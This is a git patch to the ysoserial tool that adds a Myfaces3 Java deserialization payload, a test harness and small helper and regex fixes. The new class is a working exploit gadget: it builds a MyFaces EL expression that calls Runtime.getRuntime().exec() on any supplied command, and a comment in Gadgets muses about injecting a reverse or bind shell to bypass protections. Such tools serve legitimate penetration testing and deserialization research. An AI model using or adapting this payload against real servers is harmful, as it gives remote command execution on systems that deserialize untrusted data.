From c8e203e358f2c092abd53d312ffe067adc6c26b7 Mon Sep 17 00:00:00 2001 From: Chris Frohoff Date: Wed, 8 Jun 2022 20:39:40 -0700 Subject: [PATCH] added myfaces3 payload for sentimental reasons --- .../java/ysoserial/payloads/Myfaces3.java | 92 +++++++++++++++++++ .../java/ysoserial/payloads/util/Gadgets.java | 8 +- .../test/payloads/MyFacesExecTest.java | 15 +++ .../ysoserial/test/util/PayloadListener.java | 2 +- 4 files changed, 113 insertions(+), 4 deletions(-) create mode 100644 src/main/java/ysoserial/payloads/Myfaces3.java create mode 100644 src/test/java/ysoserial/test/payloads/MyFacesExecTest.java diff --git a/src/main/java/ysoserial/payloads/Myfaces3.java b/src/main/java/ysoserial/payloads/Myfaces3.java new file mode 100644 index 0000000..c9a8402 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Myfaces3.java @@ -0,0 +1,92 @@ +package ysoserial.payloads; + + +import org.apache.myfaces.context.servlet.FacesContextImpl; +import org.apache.myfaces.context.servlet.FacesContextImplBase; +import org.apache.myfaces.el.CompositeELResolver; +import org.apache.myfaces.el.unified.FacesELContext; +import org.apache.myfaces.view.facelets.el.DefaultFunctionMapper; +import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import javax.el.BeanELResolver; +import javax.el.ELContext; +import javax.el.ExpressionFactory; +import javax.el.ValueExpression; +import javax.faces.context.FacesContext; +import javax.servlet.ServletContext; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; + + +/* +Adding this for sentimental value as this is almost the same as the first deserialization exploit I ever crafted that +led to the larger research project. + */ +@Authors({ Authors.MBECHLER, Authors.FROHOFF }) +@PayloadTest(harness = "ysoserial.test.payloads.MyFacesExecTest") +public class Myfaces3 implements ObjectPayload, DynamicDependencies { + + public Object getObject ( String command ) throws Exception { + return makeExpressionPayload(command); + } + + + public static String[] getDependencies () { + if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { + return new String[] { + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "org.mortbay.jasper:apache-el:8.0.27", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } else if ( "juel".equals(System.getProperty("el")) ) { + return new String[] { + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } + + throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); + } + + public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception { + FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); + + DefaultFunctionMapper fm = new DefaultFunctionMapper(); + fm.addFunction("pwn","getRuntime", Runtime.class.getMethod("getRuntime", new Class[0])); + + CompositeELResolver elResolver = new CompositeELResolver(); + elResolver.add(new BeanELResolver()); + FacesELContext elContext = new FacesELContext(elResolver, fc); + elContext.setFunctionMapper(fm); + + Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); + ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); + + ValueExpression ve1 = expressionFactory.createValueExpression(elContext, + "#{pwn:getRuntime().exec(\"" + Gadgets.escapeForJavaString(expr) + "\")}", Object.class); + ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); + ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); + ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); + + Reflections.setFieldValue(e.getWrapped(), "fnMapper", fm); + + return Gadgets.makeMap(e2, e); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Myfaces3.class, new String[] { "calc" }); + } +} diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java index d4cd783..bc1df3e 100644 --- a/src/main/java/ysoserial/payloads/util/Gadgets.java +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -114,9 +114,7 @@ public class Gadgets { final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections - String cmd = "java.lang.Runtime.getRuntime().exec(\"" + - command.replace("\\", "\\\\").replace("\"", "\\\"") + - "\");"; + String cmd = "java.lang.Runtime.getRuntime().exec(\"" + escapeForJavaString(command) + "\");"; clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); @@ -136,6 +134,10 @@ public class Gadgets { return templates; } + public static String escapeForJavaString(String command) { + return command.replace("\\", "\\\\").replace("\"", "\\\""); + } + public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { diff --git a/src/test/java/ysoserial/test/payloads/MyFacesExecTest.java b/src/test/java/ysoserial/test/payloads/MyFacesExecTest.java new file mode 100644 index 0000000..bcc7444 --- /dev/null +++ b/src/test/java/ysoserial/test/payloads/MyFacesExecTest.java @@ -0,0 +1,15 @@ +package ysoserial.test.payloads; + +import ysoserial.payloads.Myfaces3; +import ysoserial.test.CustomDeserializer; + +public class MyFacesExecTest extends CommandExecTest implements CustomDeserializer { + // FIXME replace CustomDeserializer with inner payload wrapper (w/ limited classloader) + public Class getCustomDeserializer () { + return MyfacesTest.MyfacesDeserializer.class; + } + + public static void main(String[] args) throws Exception { + PayloadsTest.testPayload(Myfaces3.class); + } +} diff --git a/src/test/java/ysoserial/test/util/PayloadListener.java b/src/test/java/ysoserial/test/util/PayloadListener.java index 1d2053e..0181f57 100644 --- a/src/test/java/ysoserial/test/util/PayloadListener.java +++ b/src/test/java/ysoserial/test/util/PayloadListener.java @@ -90,6 +90,6 @@ public class PayloadListener extends RunListener { // testPayload[payloadClass: class ysoserial.payloads.JavassistWeld1](ysoserial.test.payloads.PayloadsTest) public static String getPayload(String displayName) { - return displayName.replaceAll(".*\\[\\S+: class (\\w+[.$])+(\\w+)\\].*", "$2"); + return displayName.replaceAll(".*\\[\\S+: class (\\w+[.$])*(\\w+)\\].*", "$2"); } }